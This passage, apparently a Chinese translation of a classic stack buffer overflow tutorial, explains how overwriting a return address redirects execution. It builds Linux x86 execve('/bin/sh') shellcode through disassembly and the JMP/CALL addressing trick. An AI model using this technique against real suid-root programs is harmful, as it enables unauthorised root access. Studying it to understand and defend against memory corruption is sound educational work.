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首先我们看一下未执行strcpy时堆栈中的情况:
16 4 4 4
...[buffer] [ebp] [ret地址] [large_string地址]
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esp ebp
当执行strcpy时, 程序将256 Bytes拷入buffer中,但是buffer只能容纳16 Bytes,那么这时会发生什么情况呢? 因为C语言并不进行边界检查, 所以结果是
buffer后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp, ret地址 ,large_string地址.因为此时ret地址变成了0x41414141h ,所以当过程结束返回
时,它将返回到0x41414141h地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报Segmentation Violation.
从上面的例子中不难看出,我们可以通过Buffer Overflow来改变在堆栈中存放的过程返回地址,从而 改变整个程序的流程,使它转向任何我们想要它去的地方.这就为黑客们提供了可乘之机, 最常见的方法是: 在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址, 这样当过程返回时,程序就转而开始执行这段我们自编的代码了. 一般来说,这段代码都是执行一个Shell程序(如 insh),因为这样的话,当我们入侵一个带有Buffer Overflow缺陷且具有suid-root属性的程序时,我们会获得一个具有root权限的shell,在这个shell中我们可以干任何事.
因此, 这段代码一般被称为Shell Code.
下面我们就来看一下如何编写Shell Code.
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3. Shell Code 的编写
下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明)
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链
入.)
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[aleph1]$ gcc -o shellcode -ggdb -static
shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to
distribute copies of it
under certain conditions; type "show copying"
to see the conditions.
There is absolutely no warranty for GDB; type
"show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995
Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl
$0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%
ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%
eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%
eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6
<__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
下面我们来首先来分析一下main代码中每条语句的作
用:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为:
char *name[2];
也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.
0x8000136 <main+6>: movl
$0x80027b8,0xfffffff8(%ebp)
这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 :
name[0] = "/bin/sh";
0x800013d <main+13>: movl $0x0,0xfffffffc(%
ebp)
将NULL放入name[1]的内存单元中, 也就是相当于:
name[1] = NULL;
对execve()的调用从下面开始:
0x8000144 <main+20>: pushl $0x0
开始将参数以逆序压入堆栈, 第一个是NULL.
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%
eax
0x8000149 <main+25>: pushl %eax
将name[]的起始地址压入堆栈
0x800014a <main+26>: movl 0xfffffff8(%ebp),%
eax
0x800014d <main+29>: pushl %eax
将字符串"/bin/sh"的地址压入堆栈
0x800014e <main+30>: call 0x80002bc <__execve>
调用execve() . call 指令首先将 EIP 压入堆栈
现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.
我们的这个例子是在基于Intel X86的Linux上运行的．所以我们首先应该知道Linux中，系统调用以软中断的方式产生( INT 80h)，参数是通过寄存器传递给
系统的．
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
同样的入口处理
0x80002c0 <__execve+4>: movl $0xb,%eax
将0xb(11)赋给eax , 这是execve()在系统中的索引
号．
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
将字符串"/bin/sh"的地址赋给ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
将name[]的地址赋给ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
将NULL的地址赋给edx
0x80002ce <__execve+18>: int $0x80
产生系统调用，进入核心态运行．
看了上面的代码，现在我们可以把它精简为下面的汇
编语言程序：
leal string,string_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
(我对Linux的汇编语言格式了解不多,所以这几句使
用的是DOS汇编语言的格式)
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0
但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像:
movl string_addr,%ebx
这种需要将绝对地址编码进机器语言的指令根本就没法使用.
解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在 ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL 指令则指向JMP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.
经过上面的修改,我们的ShellCode变成了下面的样子:
jmp 0x20
popl esi
movb $0x0,0x7(%esi)
movl %esi,0x8(%esi)
movl $0x0,0xC(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xC(%esi),%edx
int $0x80
call -0x25
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0 # 2 bytes，跳转到CALL
# 1 byte， 弹出string地址
# 4 bytes，将string变为以''结尾的字符串
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes，跳转到popl %esi
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